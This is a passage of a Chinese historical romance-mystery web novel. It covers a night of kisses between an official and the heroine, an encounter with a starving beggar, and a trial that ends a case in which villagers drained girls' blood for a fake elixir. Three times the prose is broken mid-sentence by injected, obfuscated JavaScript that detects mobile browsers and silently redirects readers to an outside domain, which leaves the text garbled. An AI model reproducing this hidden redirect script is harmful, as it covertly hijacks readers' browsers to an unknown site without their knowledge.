像才想起自己有利爪的小猫,张牙舞爪对付她怀疑的人,还怪可爱的。 “杜大人,你早就猜到我是陆卿云了?”她这话像是疑问,但语气几乎是肯定了。 “不,我不知道。”杜文焕诚实地回答。 “那你为何不感到惊讶?”她挺直了腰背,目光锐利,前进一步,几乎是要逼近他,她的脑子转得很快,“那么,我换个问题,你猜到我与巫术案有关?” 杜文焕后退半步,以免撞上呼吸,乱了心跳。 听了她的问题,他轻笑一声,对上她的眼睛,“这是在审犯人?” 她忙移开目光,头偏向一边,“我只是有问题想求证,杜大人,你不想回答便罢了。” 杜文焕垂眸看她,墨色的眸子沉静温和,“是,我猜到你与巫术案有关。” “我大概明白了。”程希夷微微点头,眼神中的光逐渐消失,“官员被杀案明明已经结案,杜大人你还在查巫术案,并且在洞穴中告诉我此案的一些细节。其实你那时候或多或少都猜到了,查到我的身份也是时间的问题。” 杜文焕终于发现她反应不对,正要伸手稳住她的肩,却被她避开了手。 她似乎大受打击,后退好几步,直到后背抵上墙壁,退无可退。 “杜大人,为什么你也会试探我呢?为什么在这个不是我自愿入局的棋局中,我永远是一枚被告知的被摆布的幼稚而愚笨的棋子?” 她自言自语道的呢喃充满了痛苦,让人忍不住想要抱住她,好替她分担一些痛苦。 他也确实这么做了。 他将灯盏放到一旁的桌上,而后大步朝她走去,抛开所有世俗的礼法,抛去那些犹豫羞赧,此刻顺从他自己的心意,将看起来已经脆弱到极点的她拥入怀中。 “你听我说,”他抚起她的脸,让她直视自己的眼睛,“既然你问了我这么多问题,那你回答我一个问题。” “什么?”程希夷眼神闪动,想偏头避开他的目光,奈何下颌被他捏住,动弹不得。 “我为什么要这么做?”他逐渐凑近,呼吸近在咫尺,桃花眼中潋滟着看不懂的光泽。 程希夷呼吸一滞,乱了分寸,脸上飞红,“做,做什么?” “查巫术案。”杜文焕似乎觉得她害羞慌乱的模样十分有趣,嘴角的笑意更深,“我为什么要去查这个讨不了巧的案子?就像你说的,我已官拜翰林,怎么也管不到这事。” 程希夷心中有一个呼之欲出的答案,她咬了咬下唇,双眸垂下,避而不答,“杜大人的心思,我怎么会猜得到?” “你知道的。”杜文焕的手扫过她光洁的额头,如黛的双眉,因羞涩而发红的眼角,滚烫的双颊…… 而后,手停在她柔软的唇上。 他的声音有些暗哑,但仍然克制,“你知道,你可以随时推开我。如果你厌恶我的触碰,就像你对付那个县令公子一样,我绝不反抗。我不想伤害你,不想强迫你。” 程希夷想说我不会厌恶你,可刚张口,就被扑面而来的气息堵住了话语。 似侵略,又似温柔,夹杂着清雅的竹香,如穿过竹林的夜风那般冷冽,又如清晨附于竹上的露珠一样柔和。 她沉醉其中,几乎要昏睡过去。 “呼吸。” 唇上的重量微微分离,她听到那人温柔的提醒。 她大口喘着气,眼睛里的羞赧不知是因为这个吻,还是因为她忘了呼吸。 看她喘气喘得差不多,杜文焕再一次凑上来,却被捂住了唇。 “杜,杜大人,”程希夷的手因为碰到他的唇而微微颤抖,“别,别亲了。” 再亲她的心就要从胸膛里跳出来了,这是一种很奇怪的感觉,让她沉沦又渴望,内心的空洞不仅被填满,情感还仿佛要从中溢出,这让她感觉很危险。 “好,不亲了。”杜文焕将她的手拿开,而后在她柔嫩的掌心落下一个吻。 程希夷:“……”不是说不亲了么? 她将脸埋入他的胸口,他胸前的衣裳是新换的,应当是旧衣,除了竹子的清香,还带着淡淡皂角香。 这个气味很熟悉,方才的吻也很熟悉,好像不是第一次这么近地闻到这个气味。 是在什么时候呢? 好像是在她误着县令公子的道,被救之后,在昏睡时闻到过。 这个气味在她噩梦时曾经抚慰过她的心,让她逃离梦境。 而且,她醒之后,小春曾说巡抚大人单独替她喂药,那时候小春脸上的表情意味深长。 她当时一心逃离,也不知小春口中的巡抚到底是谁。 现在细想,她在梦中肯定有过许多挣扎,昏迷时又不便喝药,莫非那时候是他嘴对嘴…… 程希夷抚上自己的唇,抬眼看向他,结结巴巴地说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13744689|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “杜大人,你,你趁人之危!” “趁人之危?”杜文焕见她捂着嘴害羞的模样甚是可爱,不由得笑了,无辜地看着她,“我已经问过你,你方才也没有反对。” “不是这次!”程希夷立刻说。 “不是这次?”这下杜文焕确实有点疑惑了。 程希夷见他的疑惑不似作假,纵使心里害羞,还是不得不提醒他:“是,是我受了伤,昏睡过去,你将我带回驿馆,替我喂药那次!” 这下杜文焕想起来了,“原来是那时候。” 他本想和盘托出,但见怀中的她就像一只熟透的鹌鹑,脸蛋红得不像样,不由得起了坏心。 “只是喂药而已,哪里叫趁人之危。”他笑道,四周的昏暗遮住了他眼中的狡黠。 “……”难道是她猜错了? 不可能,唇上的触感和气味明明一模一样。 她凑近到他的颈间轻嗅,确实是一样的气味。 杜文焕察觉到了她的动作,颈边的热气和勾过的发丝让他喉间一动,声音微哑,“既然你还要怀疑,那要不要再确认一下?” 程希夷这次敏锐地察觉到他的情绪和动作。 “不……唔!”可她的话再一次被堵在口中。 与方才那个浅尝辄止的吻不同,这次一被触碰,唇上的炽热立刻传递而来,慢慢加深力道,由温柔的轻吻逐渐变成唇齿间的交缠,如同攀附而上的藤蔓,探入、纠缠、翻卷…… 那股若有似无的竹香也被这热气浸染得滚烫,将她包裹其中,动弹不得。 这个吻并没有太久,在她忘记呼吸之前,杜文焕吻上她的脖颈,在那里轻咬了一口。 程希夷脖颈上一疼,被吓得后退了一步,“杜大人,我本以为你是个端方君子,没想到竟会如此,如此……” 如此什么?她说不清,不知节制?趁人之危?好像都不对,因为很不想承认的是,她不反感,还隐隐约约喜欢这种感觉。 “是我太心急了。”杜文焕见她确实被吓了一跳,生生克制住自己心中不断涌出的欲望,没再有动作。 一碰她,这种情感就如同开闸的水流一样源源不断,汹涌澎湃。 “我,我先回房了。”程希夷也管不了自己原本是来做什么的,只知道再待下去她就要克制不住自己的感情了。 杜文焕心知她的想法,因为他自己也是一样的,“你的脚还未好,我送你回去。” 不等她反对,杜文焕一把抱起她,推开房门,回了隔壁的房间,将她放到牙床上。 杜文焕用被子将她裹了个严严实实,还残留着欲色的眸子幽幽地看了她一眼,“以后,不要一个人在晚上穿这么单薄的衣裳去男子的房间。你不来,我也打算明日同你解释的,现在你先好好睡一觉罢。” 说完,他离开了房间,只留下将头埋进被褥,脸上薄红未散的程希夷。 回了自己的房间,杜文焕却睡不着,他推开窗户,让屋外的冷风吹进,带走他的燥热。 那树枝上的鹧鸪又开始鸣叫,但仍掩盖不住他胸口的鼓噪声。 56. 乞丐 程希夷醒来的时候已过了辰时。 她昨晚在床上辗转反侧,压根睡不着,直到天蒙蒙亮才慢慢睡去。 “姑娘,你醒了。”原本在一旁整理房间的小春听到床上的动静忙过来把床帐拉上。 “小春,现在什么时候了?”程希夷迷迷蒙蒙起身,往窗外看去,可外面的天色暗沉沉的,分不清是上午还是下午。 小春拿来准备好的衣裳,一边替她穿上,一边说:“姑娘,已经是巳正(上午十点)了。” “这么晚!”程希夷忙披了衣裳,蹬上鞋履,“今日不是要升堂么,怎么不叫我?” 小春替她将裙摆理清,说:“姑娘不必担心,巡抚大人说证人证词已经足够了,让姑娘在房里好好休息。” 一说到杜文焕,程希夷脑子里不断冒出昨晚的景象,即使人不在眼前,脸也不自觉红了。 为了让小春不看出,程希夷微微偏头,好挡住自己发烫的脸,“杜大人今日什么时辰去的县衙?” “辰初(上午七点)。”小春扶她来到铜镜前,正打算梳头,却被程希夷阻止。 “随意挽个髻就是了。”程希夷说,“待会麻烦你准备一顶轿子载我去县衙。” “是。” 小春替她梳了个双螺髻,又斜插一支素钗。 “姑娘,你真美。”小春看到铜镜里如芙蓉般天然去雕饰的美人,感叹道,“与巡抚大人真是郎才女貌,不,郎貌女貌,也不对...” “好了,别打趣我了。”程希夷笑着推开她,“快去准备早饭罢。” 待用过早饭后,程希夷上了轿,小春随轿前行。 自从来到赤县后,程希夷还未认真打量过这个被称为京城关口的地方。 往窗外看去,各色商铺鳞次栉比,整齐的屋舍都刷上了新漆,檐上瓦楞黑亮,远远看去,如同一片绣有鱼鳞的黑色绸布。 只是,在街角小巷处,时不时有几个衣裳褴褛的乞丐蹲在一旁,手拿着缺口的瓷碗,祈求过路人行行好,给几个铜板。 古往今来,不论何时何处,总会有一些食不果腹的可怜人沦落到乞丐的境地。 这种人并不少见,程希夷并没有过多的触动,本打算让小春给他们几个铜板,谁知轿子忽然一抖,差点摔出轿去。 “姑娘你没事吧!”轿外的小春惊呼,忙来问她。 程希夷稳住了身子,问:“怎么了?” 小春说:“是个乞丐拦住了轿子,奴婢这就把她赶走。” “嗯。”程希夷并不把这放在心上。 谁知那乞丐竟然嚎叫起来:“贵人,贵人救救我们吧!” “你怎么了?”程希夷听她声音凄凉,掀开轿帘,问她。 那乞丐妇人怀抱着一个襁褓,里头包裹着一个孩子,但被遮得严严实实,不能看清。 乞丐妇人见轿中贵人出来了,忙上前一跪,扯住她的裙摆,哭嚎道:“贵人,给我几个铜板,让我救救孩子吧!” 孩子? 程希夷看向乞丐妇人怀中的襁褓,“让我看看罢。” 说着她掀开遮住孩子的布料,不看不知道,一看吓一跳。 那婴儿骨瘦如柴,露出的脑袋几乎是皮包着头骨,连血管都一清二楚。 程希夷一摸这婴儿的额头,烫得她下意识缩了缩手,可就是这么高温,婴儿也不曾哭一声,已经气若游丝了。 她懂得些许岐黄之术,但只是些皮毛,而且婴儿与成人不同,此时身边也没有合适的药材。 就她看,这婴儿已经没有生还的可能了。 但她还是摸了摸身上,看能不能找出一两个铜板。 可身上自然是一分都没有,之前程玉和给她的钱都被大柳树村的人偷走了。 她凑到小春耳旁,说:“小春,能不能借我二两银子,等杜大人回来便还你。” 小春爽快地从自己的荷包里拿出一块银子,刚好是二两,递给程希夷,“姑娘,给。” 程希夷将银子给了那乞丐妇人,说:“赶快拿去看大夫罢。” 乞丐妇人千恩万谢,抹着眼泪快步离开了。 待她走后,小春拿出一块手帕擦了擦程希夷方才摸那婴儿的手,边擦边抱怨:“竟然冲到轿子前来乞讨了,真是不要命!” 程希夷叹了口气,“应该是没办法了,我见那婴儿十有八九会夭折。” 程希夷回了轿中,但再没心情欣赏沿路的风景了。 沉默许久,她问小春:“方才那妇人,竟然已经到拦轿子为孩子治病的地步。我见她骨瘦如柴,衣衫褴褛,口音也不像是北方口音,莫非是从南方来的?” 小春想了想,说:“最近县里确实有许多从南方逃荒来的难民,官府会在早上布施白粥和馒头,按理来说不会瘦弱到那个地步。” “白粥和馒头怎么够吃呢,何况她还有个没几个月的婴儿。”程希夷抿了抿唇,即使她这么说,其实也没有任何办法,这不是她一个人可以改变的。 她想到大柳树村的灾祸,闹的鬼是一个从南方逃荒来的乞丐婆,而大柳树村的村长在辩驳自己时提到灾荒之年,收成不好,几乎无粮可交的境地。 这时候的维咸国还忙着同天末国打仗,而天末国竟在此时派使团进京,又在大柳树村谋划祭祀少女造长生不老药。 计划一环紧扣一环,可以看出背后的人心思之缜密,其目的恐怕就是先派使团来此探听维咸国虚实,又用巫术蚕食民众,好伺机搅乱时局。 其实她并不关心这些,放在从前,她不会想这么多,只是天君那句“你是我的继任者”一直萦绕在她心里。 很明显,布下这个计划的人就是天君,他的目的无非是帮助天末国吞并维咸国。 这么一个心机深沉的人为什么认为她一个从未接触过权力的人会是他的继任者呢? 因为那个预言? 窥探天道,非常人所能做。 说实话,程希夷认为做到天君这个地位,他应当是不信什么预言的,这只能骗骗底下的人。 而如果他说的那个预言是真的,对一个可能取代他地位的人,他不是害怕,甚至是鼓励。 这不符合常理,直到现在,她还是想不通。 “姑娘,县衙到了。”小春的声音换回了她的神智。 程希夷深呼一口气,揉了揉因为深思而隐隐不适的太阳穴。 果然,思考这种复杂的事,她还是不喜欢。 下了轿,她看到县衙前已经围了一堆旁听的百姓,水泄不通,挤都挤不进去,何况程希夷脚还未好,也不能同他们挤。 还未等她着急,小春倒是先急得团团转。 “姑娘,这人也太多了,咱们看不到啊。” “别 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“请。”程希夷忙让出一条路,走的时候还安慰因被传唤而紧张的阿巧,“别担心,如实说就是了,杜大人是个好官,会替你们做主的。” 阿巧点了点头,眼中的担忧仍没有消去,只是多了几分安心,紧张的双肩也放松了下去。 一群人浩浩荡荡进了县衙,那群看热闹的百姓见衙役对程希夷恭恭敬敬,不由得猜测她是什么厉害人物,见她要围观,不自觉散开,倒是让她站到了最前面。 小春跟在程希夷身边,不费力就站到了前面,偷偷低声说:“姑娘,你真行。” 程希夷见她佩服的眼神,笑了一声,没有说话,而此时堂上审问再一次开始了。 杜文焕在程希夷一到围观群众前头时就看见她了。 让她好好休息,她还是来了。 看她神色自若,莫非昨晚发生的事她装作不记得? 似乎是感应到他的眼神,程希夷抬眼一看,又着急忙慌移开眼睛,脸上也染了一层薄红。 看样子还是记得的,而且也没有露出厌恶的神色。 他松了口气,不然昨日的事够她骂自己几个月登徒子了。 不过想归这么想,当下心思也不能在这上。 他暗暗深吸一口气,看向堂上跪着那些人,换了一副严肃的神色。 大柳树村的村长已跪在堂上多时了,他蓬头垢面,昨夜是在县衙牢狱中度过的,今早被传唤时就知道自己的日子恐怕要到头了。 杜文焕一拍惊堂木,“柳乙,你与大柳树村村民三十余人勾结巫师残害妇女,这你可认?” 被诘问的柳乙吞吞吐吐:“草民,草民也是被巫师蛊惑的。那些巫师胁迫草民听他们的命令,不遵从就会被杀掉。草民也是迫于无奈,望大人明鉴!” “事到如今,你还敢狡辩?”杜文焕神色冰冷,吩咐衙役将大柳树村的阿巧带上来。 阿巧上前一跪,正好就跪在柳乙旁边。 “堂下何人?” 她没理会柳乙那恨不得将她生吞活剥的眼神,对堂上的巡抚磕了个头,“民女柳巧,京兆府下赤县大柳树村人氏,是替村民劝说被关的姑娘顺从巫师,并给她们送饭的。” 57. 结案 “民女柳巧,京兆府下赤县大柳树村人氏,是替村民劝说被关的姑娘顺从巫师,并给她们送饭的。” ...... 随着阿巧的叙述,一件被隐藏在小村庄的勾结巫师的案子如画卷一般慢慢展示在人们面前。 数月前,大柳树村来了两个巫师,他们对村庄非常熟悉,一来就找到了村长柳乙,并向他提出将村里没有劳动能力的老人聚集在一处,再用巫偶代替人力的构想。 当时因为南方旱情和沿边战争的影响,各地的赋税提高,尤其是征用的粮食增多。 而今年大柳树村的粮食收成比往年要少,供给自家已经是不易,也没多余的粮食上交官府。 但是官府受朝廷之令,岂能让他们不交? 于是大柳树村的一半多粮食交给了官府,村民平日里也只能上山采点野菜充饥,即使这样,仍然常常食不果腹。 巫师的计划给了正为此发愁的村长一条新的路子,那就是省下那些没多少日子可活,并且没有能力耕种的老人的粮食,以供给给那些还有能力劳作的青壮年。 至于巫师所说的巫偶,那就是意外之喜,它们像人,但又不用吃饭,村长自然高高兴兴答应了。 计划刚开始实行时,村长还时不时派人去给那些关在一起的老人们送些可以充饥的窝头野菜,但到了后面,就完全不管他们死活了。 最后村里的老人都饿死了,被埋在后山坟墓旁的那个大坑里,填成了平地。 但人的欲望是无穷无尽的。 村里一百多口人的吃饭问题刚得到解决,巫师这时候提出村里剩余的粮食也撑不了多久,并问他们想不想发财。 答案当然是想,解决了温饱,当然就想发财。 巫师就说有一种长生不老药,食之可百毒不侵、长生不老,尽管炼制的条件极为苛刻,但只要有一味药引,即使不能长生不老,也可药到病除,这味药就是少女或稚子的鲜血。 而京城中的贵人最需要的就是这种药。 巫师的神通广大已经得到了证明,村民对他们所说的长生不老药自然深信不疑。 刚开始的时候,村中的少女都是自愿取血,认为这是对她们家的贡献。只是一点血而已,就能让家里人温饱还有余钱。 但随着药的需求越来越大,需要的鲜血也越来越多,而被取血的少女中有些人因为血液流尽而死,被匆匆埋在后山平地下。 村中的少女终于感到害怕,都拒绝取血,但此时已经来不及了。 逃跑的那些少女首先被关了起来,然后是没有胆子跑的,最后除了阿巧,其他少女全部被关了起来。 因为阿巧说她会帮他们劝那些少女乖乖取血,免得她们因为反抗而自裁,这就得不偿失了。 实际上阿巧在暗中计划帮助她们逃跑,或是报官。 有一个人跑出去了,并到了京城,就是京城护城河发现的那个落水而亡,手腕上有伤痕的女子。 为什么这个女子要千里迢迢跑到京城而不是在赤县报官呢? 原因自然很简单,赤县县令不管这些事,一年一度的吏部考核快要开始了,他想把这事先压下去,免得给自己的仕途留下污点,那个女子没见到他就被赶走了。 不得已之下,那个女子就去了京城,可惜赶路太急,沿着河边行走时,脚下一滑,不幸落入水中溺死了。 而这个女子的逃跑也给大柳树村的村长敲响了警钟,他看管那些少女更加严格,连阿巧除了送饭都找不到机会接近她们。 也许是意识到炼制长生不老药是竭泽而渔,巫师又提出此地风水不好,所以世代受穷,若想转运,需要摆台祭祀,而祭品就是一个阴年阴月阴日出生的少女,阿巧的姐姐阿鸢不幸就是这个完美符合条件的祭品。 祭祀前一天,一个女道士闯入这个村庄,并在阿巧的帮助下逃离了大柳树村,带官府将这些勾结巫师的村民抓捕归案。 至于这个女道士的姓名,村长并不知道,阿巧也默契地一笔带过,至于杜文焕更是不会点明。 除了大柳树村村民勾结巫师祭祀幽禁少女一案,另一桩就是以柳虎为首的小柳树村村民杀害从南边逃荒而来的乞丐婆一案。 大柳树村村民靠倒卖长生不老药发财后,小柳树村村民听到风声,也想仿效。 但小柳树村的上一辈人原本就因为多年前大柳树村村民信奉巫师而出走,村中的人大多对巫师深恶痛绝,因此绝无可能推行。 这时候柳虎就想到不久前村里来了个逃荒的乞丐婆,她有一个十一二岁的聋哑姑娘,可以先从这个小姑娘下手,将她卖给大柳树村的村民做药引。 据柳虎交代,那个乞丐婆拼命反抗,即使柳虎一刀将她结果了,她也死命抱住他的腿,争取女儿的逃跑时间。 那个聋哑小姑娘自然是跑了,但事情到这还没有结束。 乞丐婆死后,小柳树村开始闹鬼。不知是谁说聋哑小姑娘被卖到大柳树村,那只厉鬼便离开了小柳树村,去了大柳树村。 而大柳树村的村长承认村里确实闹鬼,后来就被来村里的女道士解决了,他们认为这个女道士有几分本事,本打算请她观看祭祀后镇压后山的阴气,谁知被她跑了,还招来了官兵。 官兵来之前,小柳树村的柳虎等人听闻聋哑小姑娘在大柳树村,便招呼一群人带了家伙找上门,让他们交出聋哑小姑娘。 双方没谈拢,发生械斗,而后大柳树村的村民逃入地道,小柳树村的村民回了自家的村子。 后来便是官府派人搜查地道,将他们抓了个正着。 至此案件已经全部清楚,而那些作恶的村民也将迎来末日。 “事实已清,村民柳乙等人勾结巫师谋害民女,柳虎等人为私欲杀害乞婆,按律当斩。本官代天巡狩,抚察地方,对此种恶行绝不姑息。现将一干人等押入牢狱,待本官递交刑部核实,无异议则于秋后问斩。退堂!” “明镜高悬”四个大金字下,杜文焕一拍惊堂木,此案就此了结。 在围观百姓的一片叫好声中,听到问斩而晕过去的柳乙等人被拖拽回牢狱,而阿巧和被传唤的几个少女也露出了如释重负的笑容。 程希夷也替她们高兴,只是高兴之余,不由得担忧她们以后该如何生活。 见没有热闹可看,围观的人纷纷散去。 小春问:“姑娘,我们要回去驿馆等巡抚大人么?” 程希夷点点头,可还未走几步,官衙里出来个人,对她说:“程姑娘,巡抚请您去内堂。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13843796|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她回头一看,正是追捕大柳树村村民有功的孙恒。 听是杜文焕让她进去,她也不推辞,说:“劳烦孙捕头带路。” “哈哈哈,程姑娘客气了。”孙恒笑了笑,宽厚的眉头平展开,明明看起来才二十余岁,程希夷却觉得他的身手和自如的处事能力不像个初出茅庐的小伙子。 在小春的搀扶下,程希夷第二次踏入赤县县衙的内堂,上一次在这有些不愉快的经历,心里头对这里十分抵触。 不过之前遇到的是不作为的县官,现在里头坐着的却是杜大人,她厌恶的心情散开了些许。 “程姑娘的右脚好些了么?”或许是怕太过安静而尴尬,在前带路的孙恒没头没脑问了这么一句。 “承蒙关心,好多了。”程希夷道谢。 “程姑娘还真是个奇女子,明明脚伤未好,竟也下了地道。”孙恒在前走着,语气中带着笑意,“还从那些巫师弯弯绕绕的地道洞穴中走出,真是巾帼不让须眉,在下佩服佩服。” “孙捕头过奖了。”程希夷只当他是在没话找话,客气地敷衍了一句。 “哪里是过奖。”孙恒停了脚步,在原地回头等她,平凡普通的脸上露出一个看起来朴实的笑容,待程希夷走到旁边,才低声说,“果然如她所言,你可堪大任,只是鲁莽了些。” 程希夷原本迈上台阶,闻言脚下一顿,勾到台阶,差点摔在台阶上,幸好孙恒及时伸手,在小春之前用双臂将她扶住,从后看还以为她落在他怀里。 待她站稳,孙恒握住她小臂的手刚想收回,程希夷却把他的手抓住,眼神锐利,厉声质问他:“你到底是谁?” “一个普通的衙役罢了。”孙恒凑到她耳边,低声说,“她让我带你回去。” 她是谁?是程玉和? 还未等程希夷质问,孙恒迅速把手收回,大声说:“姑娘小心摔了。” 她意识到什么,朝孙恒声音对着的方向看去,杜文焕正站在门口看着他们,他嘴角的笑意慢慢褪去,手还保持着要来扶她的姿势。 而此刻她与孙恒刚刚分开,方才那一幕让旁观者看了都觉得他们俩过分亲近了,尤其是孙恒那一句更是欲盖弥彰。 “杜大人,你听我说。”程希夷生怕他真的误会了,忙忍着痛迈上台阶,与孙恒分开。 “嗯,我听你说。”杜文焕没有多犹豫,冷冷瞥了孙恒一眼,上前扶住程希夷,“别着急,你的脚本就不宜走动,我应让人抬竹轿送你的。我一时忙忘了,本想着商量好了安置她们的办法,就来问问你。” 程希夷朝内一看,大柳树村的阿巧等人都等在内堂,连聋哑小姑娘都在。 她松了口气,脸上也露出笑容,她方才还烦恼这些人以后如何生活,杜文焕就想到了此事,他果然是个细致的人。 “杜大人认为如何安置她们为好?”程希夷倚着他进了内堂,小春有眼力见地放开了手,在后头使劲翻孙恒的白眼。 刚才她一个没注意,倒让这其貌不扬的登徒子占了姑娘便宜,气死了! 杜文焕扶着她坐下,便说:“她们祖籍虽是在大柳树村,但他处也有别的亲戚。她们都打算投奔亲戚,我的意思是让官府拨一笔银子分给她们,以供她们行路的费用。” 58. 承诺 听到“商量”一词,在座的方才还在屋中的人纷纷投去意味深长的眼神。 刚才程希夷未曾来之前,哪里是“商量”,巡抚唤他们来这里只是通知罢了。 巡抚是什么人物,他们又是什么人物,这一点还是分得清楚的。 话还未说完,巡抚就听见门口的声音,迎她进来。 当着她的面才叫“商量”。 不过屋里的人都知道她也是此案破获的功臣,巡抚寻求她的意见也在情理之中。 程希夷只当杜文焕只是同她说一声,她心里头也奇怪为什么要问她,收敛神色,说:“既然杜大人认为这样安排最好,诸位又无意见,我也遵从就是了。” “既如此,”杜文焕叫来县衙里管理财政的法曹,“各位就随他去库房领银子,而后各自安排罢。” “是。”众人齐齐应下。能逃出生天已是不易,如今还有补贴的银子,则是意外之喜,所以无不欢喜地告退。 只有阿巧带着聋哑小姑娘走在后头,程希夷叫住她们,问:“阿巧,你可有去的地方?” 阿巧点点头,看她的眼神里都是感激,“我有一姑妈住在邻县,我准备去投奔她。” 程希夷担忧地指了指与她亲近的聋哑小姑娘:“那她呢?你一个未婚女子不好带她去罢。” 聋哑小姑娘见她似乎在说自己,害怕地往阿巧身边蹭了蹭,似乎是担心程希夷要带自己走。 阿巧笑了笑,清秀的面容上露出柔和的神色,“不妨事,她与我也算有缘,她娘又是被我们族人害的,我理应照顾她。” 程希夷不赞同地摇摇头:“那并非你的过错。要说错,其实我也有,她娘变成的厉鬼就是被我打散的。” 说到这,她难得沉默了一会。 自从知道大柳树村里那厉鬼就是聋哑小姑娘的娘亲,她心里就多了几分愧疚。 若她再仔细观察观察,说不定就能发现村庄的古怪,也就不会不分青红皂白直接让那厉鬼灰飞烟灭了。 也不知这聋哑小姑娘知道不知道这件事,不过几天的时间她就对自己如此疏离,说不定冥冥中也感应到了什么。 “程姑娘也是好意。”阿巧反倒来安慰她,“我那姑妈平素乐善好施,膝下无儿无女,对孩子是很好的。我与姐姐本就打算去投奔她,只是之前决心不够,不想轻易离开村子,如今发生了这档子事,正好让我与这害人的村子诀别了。” 听了她这番话,程希夷也不再劝:“到一个新的地方好好生活,这也挺好。” 阿巧微微颔首,领着聋哑小姑娘走到门前,又转了回来。 程希夷疑惑地看着她去而复返,只听她说:“这孩子因颠沛流离还未有姓名,我打算以后让她上学写字。姑娘既救了她的性命,不如替她先取个名。” “取名啊。”程希夷摸了摸聋哑小姑娘的头,她仍然说不出话,只勉强发出几个音,而且极为羞怯,别人一同她亲近,就往后躲。 也只有程希夷和阿巧,她不怎么害怕,两只黑珠子一般的眼睛滴溜溜地看着眼前的人,只看了一眼又低下了头,还好没有再躲。 程希夷看着这个苦命的孩子,昏暗的晨色下,她的眼睛隐入晦暗之中,让人一时看不清里头装着什么情绪。 半晌,她说:“秋去冬来,春随冬至,''草长莺飞二月天'',就叫她''莺儿''罢。待到来年春天,一切都会迎来新生的。” 时过境迁,是她能给的最好的祝福。 “好,我记住了。”阿巧应下,她隐隐觉得程姑娘在说这话时的语气有点奇怪,似乎有不可言喻的忧伤,可还未等细究,它就如一丝青烟消失在空气中。 程希夷笑着说:“好啦,天色不早了,快回去罢。” 阿巧看了一眼外头的天色,阴沉沉的,似乎快要下雨了。 秋天的天气就是这么变幻莫测,而且多雨,她并未带伞,的确得赶快回去。 “那程姑娘,我先走了。” 阿巧对程希夷说了一声,又向杜文焕行了个礼,就告辞离开了。 待她们走后,孙恒本想问要不要他留下做些什么,但被小春一把拽了出去,在门外低声厉色说:“别以为我不知道你对程姑娘打什么主意,有眼力见的话还是快点放弃罢,免得自找不快。” 孙恒表示很无辜:“我打什么主意了?我只是一个混口官家饭吃的普通衙役罢了,难道还能跟巡抚大人抢不成?” 小春惊讶地说:“你知道啊,我还以为你不知道,眼巴巴凑上去。” 孙恒不知道她误会了什么,无奈地说:“瞎子也能看出来巡抚待程姑娘不一般,我可没这么傻。” “好了,好了,没有就行。”小春松了口气,又瞄了一眼屋内,屋内二人相顾无言,只怕是因为他们俩还在这。 “我们走吧。”小春故意大声了点,好让屋内的人听清。 孙恒通过她的眼神明白了意思,也附和了一声,被扯着衣袖往县衙外走去了。 屋内,之前还拥挤的屋子顿时空旷了不少,连带着空气冷了几分,一时寂静无声,风吹过地面摩擦出的嘶嘶声也清晰地传到耳膜中。 程希夷听外头那两人东拉西扯走远了,方才打破平静说:“他们怎么走了,杜大人,我们也回驿馆罢?” “好。”说着,杜文焕便要来扶她,却被推开了手。 没让他来得及反应,程希夷抬眼看向他,澄澈的杏眼里满是笑意,嘴角也勾起狡黠的微笑,露出她右脸颊的小小笑靥。 “我脚疼,扶着也走不动,杜大人抱我回去罢?” 抱?杜文焕不知她何时这么大胆了,不过联系昨日半夜也敢来他房中倒也不稀奇。 这算是对他昨日那一番真情的回应么,还是有别的意思? 这么想着,动作却很诚实,左臂绕过她双膝,右臂扶着她后颈,一把将她从椅子中捞出。 她不算很轻,抱在怀中能感受到分量,这分量让他心安定下来,这说明她不是虚无缥缈的,而是实实在在的人。 不会突然消失找不到踪迹的人。 “你还会走么?”他跨出后堂,心中那份不安全感让他没头没脑问出这么一句。 程希夷环住他的脖颈,头埋在他宽阔而温暖的胸膛上,说:“我答应过你,会跟你回京城,自然不会走。” 杜文焕刚松了口气,又听她说:“可我身上还有太多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13856666|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谜团未曾解开,所以我不会在一个地方待太久。” 他的心又提了起来,“你还是会走?” 程希夷闭着眼睛,瓮声瓮气地说:“人的缘分就像是云,有时候看着一大团黏在一块,可风一吹就散开了。但散也是一时的,不知什么时候又能聚在一块。杜大人,我与你的缘分就像这云,散也有,聚也有,藕断丝连,缠绕不开。就算我要走,也会同你说。天涯海角,我心里都会装着你。” 她现在的确认识到自己对他的感情了,可随之而来的,她也意识到自己肩上的责任。 “为什么会是云呢?”听了她这番表白的话,杜文焕心里却说不上喜悦,“若人有心,缘分也可像流水,即使刀劈斧砍,也斩不断。” 